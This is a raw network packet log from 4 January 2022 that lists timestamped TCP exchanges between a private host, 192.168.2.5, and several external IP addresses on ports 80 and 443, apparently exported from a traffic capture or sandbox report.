Jan 4, 2022 19:33:42.625842094 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.625853062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625876904 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.625878096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625902891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625937939 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.625946999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.626013994 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.626852036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.628612041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.628695965 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.628772020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.628806114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.628808975 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.628874063 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630502939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630518913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630562067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630599976 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630650997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630691051 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630700111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630738020 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630758047 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630798101 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630832911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630871058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630872965 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630907059 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630911112 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630955935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.630986929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.630990028 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631026983 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631059885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631091118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631124020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631159067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631182909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631215096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631252050 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.631262064 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.631266117 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.631273031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631314993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631346941 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.631359100 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.631453991 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.632400036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.632435083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.632514954 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.650818110 CET	80	49858	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.650901079 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.651164055 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.656090021 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.656171083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.656224966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.656284094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.656294107 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.656676054 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.657658100 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.657696962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.657820940 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.692009926 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.711522102 CET	80	49858	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.759838104 CET	80	49859	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.759984016 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.760098934 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.760255098 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.777561903 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.777610064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.777678013 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.802521944 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.802563906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.802674055 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.827857971 CET	80	49859	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.827883959 CET	80	49859	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.870260000 CET	80	49859	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.870349884 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.870384932 CET	49859	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.874322891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.893573999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.893593073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.893610001 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.893673897 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.893702984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.894929886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.894958973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.894984007 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895006895 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895030975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895046949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.895055056 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895078897 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895082951 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.895102024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895104885 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.895133972 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.895162106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.897941113 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.898004055 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.898063898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.898083925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.898127079 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.898164988 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.898726940 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.900295973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900325060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900350094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900373936 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900393963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900393963 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900418997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900428057 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900440931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900446892 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900464058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900480032 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900487900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900505066 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900522947 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900538921 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900562048 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900583029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900588989 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900607109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900609970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900613070 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900630951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900654078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900655031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900680065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900706053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900722980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900739908 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900755882 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900774002 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900810003 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900821924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900863886 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.900865078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.900952101 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.902311087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.902331114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.902399063 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.925621033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.925646067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.925663948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.925679922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.925729990 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.925790071 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.926747084 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.926764965 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.926814079 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.938128948 CET	80	49859	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.959124088 CET	80	49860	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.959237099 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.959484100 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.959593058 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.019519091 CET	80	49860	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.046519041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.046556950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.046654940 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.063864946 CET	80	49860	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.065783024 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.066032887 CET	49860	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:43.071574926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.071930885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.072346926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.106250048 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.106288910 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.106384993 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.106789112 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.106810093 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.125899076 CET	80	49860	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:43.162592888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.162642956 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.162668943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.162693977 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.162759066 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.162800074 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.164493084 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164587975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164649963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164697886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164741039 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164745092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.164767027 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.164793015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164871931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164931059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.164946079 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.165030956 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.167201042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.167243958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.167284966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.167316914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.167347908 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.167493105 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.169792891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.169843912 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.169883966 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.169892073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.169939041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.169982910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.169992924 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170026064 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170030117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170077085 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170118093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170120955 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170167923 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170216084 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170222044 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170258999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170295000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170332909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170346022 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170376062 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170376062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170413017 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170437098 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170466900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170490980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170500040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170511961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170528889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170557976 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170574903 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170588970 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170615911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170644999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170659065 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170672894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170691013 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.170701981 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170732021 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.170743942 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.171464920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.171492100 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.171557903 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.194628000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.194674969 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.194714069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.194755077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.194752932 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.194848061 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.195858955 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.195899963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.195965052 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.205687046 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.205816984 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.208504915 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.208522081 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.208905935 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.210051060 CET	49861	443	192.168.2.5	172.67.139.105
Jan 4, 2022 19:33:43.252885103 CET	443	49861	172.67.139.105	192.168.2.5
Jan 4, 2022 19:33:43.315731049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.315766096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.315840006 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.341625929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.341730118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.341820955 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.431684017 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.431716919 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.431740999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.431763887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.431804895 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.431865931 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.434139967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434148073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434176922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434202909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434223890 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434233904 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.434252024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434263945 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.434276104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434304953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.434335947 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.434377909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.436584949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.436610937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.436640024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.436665058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.436671019 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.436702013 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.436722040 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.439553976 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439846039 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439876080 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439898968 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439922094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439934015 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.439944029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439968109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.439977884 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.439991951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440017939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440022945 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440043926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440068007 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440088987 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440099955 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440114975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440134048 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440139055 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440164089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440179110 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440186024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440211058 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440222025 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440234900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440258980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440260887 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440282106 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440304995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440318108 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440326929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440337896 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440350056 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440373898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440395117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440395117 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440418005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440445900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440470934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440495014 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440519094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.440542936 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.440572977 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.463821888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.463857889 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.463884115 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.463932991 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.465075970 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.465107918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.465132952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:43.465182066 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:43.465205908 CET	49839	80	192.168.2.5	61.98.7.132
